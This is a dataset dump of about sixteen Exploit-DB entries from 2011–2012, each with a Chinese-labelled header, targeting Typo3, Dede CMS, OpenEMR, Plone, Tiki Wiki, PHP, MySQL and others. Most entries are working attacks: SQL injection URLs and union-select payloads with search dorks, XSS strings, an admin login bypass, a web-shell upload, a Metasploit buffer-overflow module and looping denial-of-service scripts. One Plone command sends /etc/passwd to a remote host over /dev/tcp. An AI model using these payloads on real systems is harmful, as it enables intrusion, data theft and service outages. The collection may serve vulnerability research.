QLWD/code_shield huggingface dataset:
标题: Typo3 4.5 < 4.7 - Remote Code Execution / Local File Inclusion / Remote File Inclusion EDB-ID: 18308 CVE: 2011-4614 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-04 漏洞利用脚本: # Exploit Title: Typo3 v4.5-4.7 - Remote Code Execution (RFI/LFI)
# Date: 4th January 2012
# Author: MaXe
# Software Link: https://typo3.org/download/
# Version: 4.5.0 up to 4.5.8, 4.6.0 and 4.6.1 (+ development releases of
4.7 branch) 

 
Typo3 v4.5-4.7 - Remote Code Execution (RFI/LFI)
 
 
Versions Affected: 4.5.0 up to 4.5.8, 4.6.0 and 4.6.1 (+ development
releases of 4.7 branch) 

Info:
TYPO3 is a small to midsize enterprise-class Content Management Framework
offering 
the best of both worlds: out-of-the-box operation with a complete set of
standard
modules and a clean and sturdy high-performance architecture accomodating
virtually
every kind of custom solution or extension. 
 
External Links:
http://typo3.org/

Credits: Björn Pedersen and Christian Toffolo who discovered and reported
the issue and the Security Team member Helmut Hummel for providing the
patch. 
(This advisory was rewritten by MaXe @InterN0T to offer a quick overview
of the vulnerability, including the removal of all irrelevant and untrue
details.


-:: The Advisory ::-
Requirements for any RCE: 
- register_globals in the php.ini MUST be enabled (if the exploit fails
against a supposed to be vulnerable version, this is why. This setting is
often disabled by default.)

Requirements for RFI:
- allow_url_include has to be enabled (It's often "off" by default.) 


Proof of Concept: 
By browsing to a script / page, that uses the following file:
typo3/sysext/workspaces/Classes/Controller/AbstractController.php (direct
access may not be allowed)
It is possible to include PHP code to be executed via the "BACK_PATH"
global variable. This can be accessed in ways like:
AbstractController.php?BACK_PATH=LFI/RFI%00

The vulnerable piece of code: require_once($GLOBALS['BACK_PATH'] .
'template.php');
Demonstrates, that it is necessary to append a null-byte ( %00 ) after the
maliciously crafted input / URL. (Unless your remote file if applicable, is
named something.template.php)


-:: Solution ::-
* Update to the latest version of Typo3 OR change the vulnerable piece of
code to: require_once(PATH_site . TYPO3_mainDir . 'template.php');
 
 
 
References:
- http://typo3.org/fileadmin/security-team/bug32571/32571.diff
-
https://typo3.org/teams/security/security-bulletins/typo3-core/typo3-core-sa-2011-004/
-
http://news.typo3.org/news/article/important-security-bulletin-pre-announcement-2/ URL: https://www.exploit-db.com/exploits/18308
标题: Posse Softball Director CMS - 'team.php' Blind SQL Injection EDB-ID: 18320 CVE: 2012-5291 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-04 漏洞利用脚本: .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
 ~ Posse Softball Director CMS Blind SQL Injection Vulnerability team.php  ~
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-.
[+] Autor: easy laster
[+] Vulnerabilities [Blind SQL Injection ]
[+] Page: www.possesports.com
[+] Language: [ PHP ]
[+] Version: 1.0
[+] Date: 04.01.2012
[+] Status:vulnerable
.-=--=--=--=--=--=--=--=--=--=--=-.
  
[+] Vulnerability
  
    team.php?idteam=
      
[+] Exploitable
  
    http://[host]/[path]/team.php?idteam=1+and+1=1--+ #true
    http://[host]/[path]/team.php?idteam=1+and+1=2--+ #false URL: https://www.exploit-db.com/exploits/18320
标题: Winn Guestbook 2.4.8c - Persistent Cross-Site Scripting EDB-ID: 18290 CVE: 2011-5026 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-29 漏洞利用脚本: # Exploit Title: Winn Guestbook v2.4.8c Stored XSS
# Date: 12/29/11
# Author: G13
# Software Link: http://code.google.com/p/winn-guestbook/, 
http://www.winn.ws
# Version: 2.4.8c
# Category: webapps (php)
# CVE: 2011-5026

##### Vulnerability #####

There is no sanitation on the input of the name variable. This allows 
malicious scripts to be added. This is a stored XSS.

##### Vendor Notification #####

12/24/11 - Vendor Notified.
12/27/11 - Vendor Acknowledged, Patch Issued.

##### Resolution #####

Upgrade to Version 2.4.8d

##### Affected Variables #####

name=[XSS]

##### Exploit #####

The script can be added right in the page, there is no filtering of 
input. This can easily be exploited if the email address used is added 
to the "approved posters" list. URL: https://www.exploit-db.com/exploits/18290
标题: Dede CMS - SQL Injection EDB-ID: 18292 CVE: 2011-5200 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-30 漏洞利用脚本: # Dede Cms All Versions Sql Vulnerability Exploit
# </ No Priv8 , Everything is Public >
# Date: 30/12/2011 - 13:00
# Author: [ CWH ] | Finded By : Nafsh
# We Are : Mr.M4st3r , Nafsh , Skote_Vahshat , HijaX
# Support: Cyberwh.org
# Mail: Nafsh@live.com
# Software Website: http://www.dedecms.com
# Security Risk: High
# Platform: Php

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[$] Dorks:  inurl:"id" "DedeCMS Error Warning!"

[#] Vulnerable Files : 

/list.php?id=[sql]
/members.php?id=[sql]
/book.php?id=[sql]

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
</ No Priv8 , Everything is Public >
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#Cyberwh.org URL: https://www.exploit-db.com/exploits/18292
标题: MyPHPDating 1.0 - SQL Injection EDB-ID: 18300 CVE: 2009-2436 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-02 漏洞利用脚本: MyPHPDating 1.0 SQL Injection Vulnerability  \
==============================================\__________________________
       Software : MyPHPDating version 1.0                                \
       Date     : 1/1/2012                                              \
       Vendor   : http://www.phponlinedatingsoftware.com/                  \
       Demo     : http://www.phponlinedatingsoftware.com/demo.htm           \
    Get App. : http://www.phponlinedatingsoftware.com/order.htm           \
       Price    : $149.00                                                   \
       Dork     : "Powered by MyPHPDating"                                    \
       Author   : ITTIHACK                                                      \
       Home     : http://ittihack.com                                            \                
==================================================================================                
                                                                                  |_______________________________________|
Vulnerable file : page.php                                                                                                |
Exploit         : http://localhost/[path]/page.php?page_id=[SQL]                                                          |
                  http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--    |
==========================================================================================================================|

 
 Greatz to: Reinie URL: https://www.exploit-db.com/exploits/18300
标题: DIY-CMS blog mod - SQL Injection EDB-ID: 18288 CVE: 2011-5140 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-29 漏洞利用脚本: # Exploit Title: DIY-CMS blog mod SQL Injection
# Author: snup
# Contact: snup.php@gmail.com
# Site: http://e-o-u.org

 SQL Injection:

 DORK:
  inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"
  inurl:"mod.php?mod=blog"

 BUG:
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]

 Why?:

  The variables $start, $year, $month are not filtered

  In file: /modules/blog/tags.php , list.php , index.php ,
main_index.php , viewpost.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

  In file: /modules/blog/archive.php

 $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];
 $month =(!isset($_GET['month'])) ?
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];
 $year =(!isset($_GET['year'])) ?
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];

  In file: /modules/blog/control/approve_comments.php ,
approve_posts.php , viewcat.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

###########
# Gr33tz: #
#####################################################
# agilob, cOnd, czoik, drummachina, gocys, prick    #
# im2ee, MadCow, n1k0n3r, R3w, rtgn, SiD, vizzdoom  #
#  irc.freenode.net #pakamera  , http://e-o-u.org   #
##################################################### URL: https://www.exploit-db.com/exploits/18288
标题: PHP 5.3.8 - Hashtables Denial of Service EDB-ID: 18296 CVE: 2011-4885 类型: DOS 平台: PHP 发布日期: 2012-01-01 漏洞利用脚本: # Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service
Exploit
 # Date: 1/1/12
 # Author: infodox
 # Software Link: php.net
 #
Version: 5.3.*
 # Tested on: Linux
 # CVE : CVE-2011-4885 

Exploit
Download -- http://infodox.co.cc/Downloads/phpdos.txt 

<?php
/*
PHP 5.3.* Hash Colission DoS Exploit by infodox
Original version by itz me (opensc.ws)
CVE-2011-4885

Mirrors List:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18296.txt (hashcollide.txt)
http://compsoc.nuigalway.ie/~infodox/hashcollide.txt
http://jrs-s.net/hashcollide.txt
http://www.infodox.co.cc/Downloads/hashcollide.txt

Changes:
Different mirror for hashcollide.txt
Now takes target as a command line argument
Status message printing

Twitter: @info_dox
Blog: blog.infodox.co.cc
Site: http://www.infodox.co.cc/
*/
$targ = $argv[1];
$x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones...
while(1) {
 echo "firing";
 $ch = curl_init("$targ");
 curl_setopt($ch, CURLOPT_POSTFIELDS, $x);
 curl_exec($ch);
 curl_close($ch);
 echo "[+] Voly Sent!";
}
?> URL: https://www.exploit-db.com/exploits/18296
标题: Akiva WebBoard 8.x - SQL Injection EDB-ID: 18293 CVE: 2011-5204 2011-5203 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-30 漏洞利用脚本: # Exploit Title: Akiva Webboard 8.x SQL Injection + Plaintext Passwords 
in Profiles.
# Google Dork: " /Powered by WebBoard 8"/
# Date: 30.12.2011
# Author: Alexander Fuchs
# Software Link: http://www.akiva.com/default.asp?l=1&id=8
# Version: 8.x
# Tested on: Windows, Linux.
# CVE :  Nope.

It is possible to login as administrator with admin'-- as username and 
password.
You can now go in the  admin profil to look at the password which is in  
plaintext in html. URL: https://www.exploit-db.com/exploits/18293
标题: Reaver - WiFi Protected Setup (WPS) EDB-ID: 18291 CVE: 2011-5053 类型: REMOTE 平台: HARDWARE 发布日期: 2011-12-30 漏洞利用脚本: # Exploit Title: Reaver WiFi Protected Setup Exploit
# Google Dork:
# Date: 28 December 2011
# Author: cheffner@tacnetsol.com
# Software Link: http://www.tacnetsol.com/products/
# Version: All 802.11 access points implementing WiFi Protected Setup and have it enabled.
# Tested on: Access points from Linksys, Cisco, D-Link, TP-Link, Trendnet, and others
# CVE : No CVE US-CERT VU#723755

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18291.tar.gz (reaver-1.1.tar.gz) URL: https://www.exploit-db.com/exploits/18291
标题: PHP-X-Links Script - SQL Injection EDB-ID: 18298 CVE: 2012-5098 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-02 漏洞利用脚本: ############################################################################
# Exploit Title: Php-X-Links Script SQL Injection Vulnerabilitiy
# Google Dork: "Powered by Php-X-Links"
# Date: 1/1/2012
# Author: H4ckCity Security Team
# Discovered By: farbodmahini
# Home: WwW.H4ckCity.Org  
# Version: All Version
# Category:: webapps
# Security Risk:: High
# Tested on: GNU/Linux Ubuntu - Windows Server - win7
############################################################################
#  Exploit:
#
#
#  http://www.target.com/links/rate.php?id=[SQLi]
#  http://www.target.com/links/view.php?cid=[SQLi]
#  http://www.target.com/links/pop.php?t=[SQLi]
#
############################################################################
# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- 
# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...
############################################################################
GreetZ : All H4ckCity Member - BHG Members
############################################################################ URL: https://www.exploit-db.com/exploits/18298
标题: CoCSoft Stream Down 6.8.0 - Universal (Metasploit) EDB-ID: 18283 CVE: 2011-5052 类型: REMOTE 平台: WINDOWS 发布日期: 2011-12-27 漏洞利用脚本: ##
# $Id: stream_down_BOF.rb 1 2011-12-18 $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking
 include Msf::Exploit::Remote::HttpServer
 
 def initialize
   super(
     'Name'           => 'StreamDown Buffer over flow universal exploit',
     'Version'        => '$Revision: 1 $',
     'Description'    => 'Stream Down Buffer Overflow universal exploit tested against win xp sp3 and win7 sp1. Also note that the program will not crash in case of meterpreter reverse tcp payload but a session will be opened',
     'Author'         => 'Fady Mohamed Osman',
     'References'  => 
      [
        ['URL', 'http://www.dark-masters.tk/']
      ],
     'Privileged'     => false,
     'DefaultOptions' =>
      {
       'EXITFUNC' => 'seh',
       'InitialAutoRunScript' => 'migrate -f'
      },
     'Payload'        =>
      {
       'BadChars' => "\x00\xff\x0a"
      },
     'Platform'       => 'win',
     'Targets'        =>
      [
       [ 'Automatic',  { } ],
      ],
     'DefaultTarget' => 0,
     'License'        => MSF_LICENSE
                )
 end
 def on_request_uri(cli,request)
  seh = 0x10019448
  nseh = "\xeb\x06\x90\x90"
  sploit = "A"*16388 + nseh + [seh].pack('V') + "\x90"*10 + payload.encoded 
  cli.put(sploit)
  close_client(cli)
 end
end URL: https://www.exploit-db.com/exploits/18283
标题: OpenEMR 4 - Multiple Vulnerabilities EDB-ID: 18274 CVE: 2012-2115 2011-5161 2011-5160 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-25 漏洞利用脚本: OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload

Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell

URL: http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)

first installed SITENAME = default
first installed PATIENTID = 1


OpenEMR 4 (Level @ Smash The Stack)
XSS

http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E


OpenEMR 4 (Level @ Smash The Stack)

Summary: validateUser.php SQL Injection

Initial Comment:
http://www.target.com/oe/interface/login/validateUser.php?u=test'

validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'"); URL: https://www.exploit-db.com/exploits/18274
标题: Plone and Zope - Remote Command Execution EDB-ID: 18262 CVE: 2011-3587 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-12-21 漏洞利用脚本: # Exploit Title: Plone - Remote Command Execution
# Date: 12/21/2011
# Author: Nick Miles (www.npenetrable.com)
# Tested on: 12/21/2011
# CVE : CVE-2011-3587

Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone
4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x.
Versions Not Affected: Versions of Plone that use Zope other than Zope
2.12.x and Zope 2.13.x.

Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928

You can execute any command on the remote Plone server with the
following request
if the server is Unix/Linux based (Note: you won't get returned the
results of the command):

http://PLONE_SITE/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=<command
to run>

Example:

Listen for a connection:
$ nc -l 4040

On victim, visit:
http://victim/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=cat%20/etc/passwd%20%20%3E%20/dev/tcp/172.20.6.218/4040

Response:
$ nc -l 4040
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:499:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
plone:x:500:500::/home/plone:/bin/false URL: https://www.exploit-db.com/exploits/18262
标题: Apple Safari - GdiDrawStream Blue Screen of Death EDB-ID: 18275 CVE: 2011-5046 类型: DOS 平台: WINDOWS_X86-64 发布日期: 2011-12-18 漏洞利用脚本: # Exploit Title: GdiDrawStream BSoD
# Date: 18-12-2011
# Author: webDEViL
# Version: Latest
# Tested on: Windows 7 x64 using Safari
# http://twitter.com/w3bd3vil

<iframe height='18082563'></iframe>


---#---
STACK_TEXT:
fffff880`08b50f78 fffff800`0328e3bf : 00000000`00000050 fffff904`c2730258
00000000`00000001 fffff880`08b510e0 : nt!KeBugCheckEx
fffff880`08b50f80 fffff800`032e1d6e : 00000000`00000001 fffff904`c2730258
00000000`00002700 fffff880`08b51380 : nt! ?? ::FNODOBFM::`string'+0x44791
fffff880`08b510e0 fffff960`00164e2e : fffff960`00280a11 fffff900`c1f11320
fffff900`c273fe38 00000000`28451d38 : nt!KiPageFault+0x16e
fffff880`08b51278 fffff960`00280a11 : fffff900`c1f11320 fffff900`c273fe38
00000000`28451d38 00000011`00000001 : win32k!memmove+0x25e
fffff880`08b51280 fffff960`00280ca2 : fffff880`08b51380 00000000`000001dc
fffff900`c2062c78 fffff904`c2730238 : win32k!NtGdiUpdateTransform+0x161
fffff880`08b512b0 fffff960`002815e4 : 00000000`000001dc fffff902`c2734638
00000000`0009f580 00000000`00000000 : win32k!NtGdiUpdateTransform+0x3f2
fffff880`08b51310 fffff960`00281854 : fffff900`c2730018 fffff900`c2062978
00000000`fffffff2 fffff900`00000001 : win32k!NtGdiUpdateTransform+0xd34
fffff880`08b514f0 fffff960`0028208e : fffff900`c1d1a028 00000000`00000000
fffff900`c2730018 00000000`00000000 : win32k!NtGdiUpdateTransform+0xfa4
fffff880`08b515b0 fffff960`002821fd : fffff900`c1d1a028 fffff900`c2062978
00000000`0009f580 fffff900`c1f11320 : win32k!NtGdiUpdateTransform+0x17de
fffff880`08b516d0 fffff960`002823bc : fffff900`c00c0010 00000000`0000003c
fffff880`08b51b20 fffff900`c1d1a010 : win32k!EngNineGrid+0xb1
fffff880`08b51770 fffff960`00282879 : 00000000`00000000 fffff900`c2062978
00000000`00000000 fffff900`c1d1a010 : win32k!EngDrawStream+0x1a0
fffff880`08b51820 fffff960`002831cb : fffff880`08b51938 00000000`00000000
fffff900`c2062960 fffff900`c1f11320 : win32k!NtGdiDrawStreamInternal+0x47d
fffff880`08b518d0 fffff960`0029e93c : 00000000`3f010ad8 00000000`00000000
fffff880`08b51af0 fffff960`00000000 : win32k!GreDrawStream+0x917
fffff880`08b51ac0 fffff800`032e2ed3 : fffffa80`09777b60 00000000`00010000
00000000`000309c0 00000000`7efdb000 : win32k!NtGdiDrawStream+0x9c
fffff880`08b51c20 00000000`73f003fa : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0021dd78 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : 0x73f003fa
---#--- URL: https://www.exploit-db.com/exploits/18275
标题: Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection EDB-ID: 18265 CVE: 2011-4558 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-22 漏洞利用脚本: -------------------------------------------------------------------------
  Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection
  -------------------------------------------------------------------------
  
  author...........: Egidio Romano aka EgiX
  mail.............: n0b0d13s[at]gmail[dot]com
  software link....: http://info.tiki.org/
  
  
  [-] Vulnerability explanation:
  
  The vulnerable code is located into /lib/wiki-plugins/wikiplugin_snarf.php:
  
  170.   // If the user specified a more specialized regex
  171.   if ( isset($params['regex']) && isset($params['regexres']) && preg_match('/^(.)(.)+\1[^e]*$/', $params['regex']) ) {
  172.      $snarf = preg_replace( $params['regex'], $params['regexres'], $snarf );
  173.   }
  
  input passed through $_REQUEST['regex'] is checked by a regular expression at line 171 to prevent
  execution of arbitrary PHP code using the  'e'  modifier in a call to preg_replace() at line 172.
  But  this  check  could  be  bypassed  with a  null byte injection,  requesting an URL like this:
  
   http://<hostname>/tiki-8.2/snarf_ajax.php?url=1&regexres=phpinfo()&regex=//e%00/
  
  Tiki internal filters remove  all null bytes  from user input,  but for some strange reason  this
  doesn't  happen within admin sessions. So, successful exploitation of this vulnerability requires
  an user account with  administration  rights and  'PluginSnarf'  to be enabled  (not by default).
  
  
  [-] Disclosure timeline:
  
  [23/11/2011] - Vulnerability discovered
  [24/11/2011] - Issue reported to security(at)tikiwiki.org
  [24/11/2011] - New ticket opened: http://dev.tiki.org/item4059
  [27/11/2011] - Vendor confirmed the issue
  [27/11/2011] - CVE number requested
  [28/11/2011] - Assigned CVE-2011-4558
  [22/12/2011] - After four weeks still no fix released
  [23/12/2011] - Public disclosure URL: https://www.exploit-db.com/exploits/18265
标题: MySQL 5.5.8 - Remote Denial of Service EDB-ID: 18269 CVE: 2011-5049 类型: DOS 平台: WINDOWS 发布日期: 2011-12-24 漏洞利用脚本: import socket, sys 

print "\n" 
print "----------------------------------------------------------------" 
print "| MySQL 5.5.8 Null Ptr (windows)                                |" 
print "| Level Smash the Stack                                         |" 
print "----------------------------------------------------------------" 
print "\n" 

buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")

buf2=("\x11\x00\x00\x00\x03set autocommit30")

def usage(): 
print "usage : ./mysql.py <victim_ip>" 
print "example: ./mysql.py 192.168.1.22" 


def main(): 
if len(sys.argv) != 2: 
usage() 
sys.exit() 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

HOST = sys.argv[1] 
PORT = int(3306) 
s.connect((HOST,PORT)) 
print "[*] Connect" 
s.send(buf)
print "[*] Payload 1 sent"
s.send(buf2) 
print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n" 
s.close() 

if __name__ == "__main__": 
main() URL: https://www.exploit-db.com/exploits/18269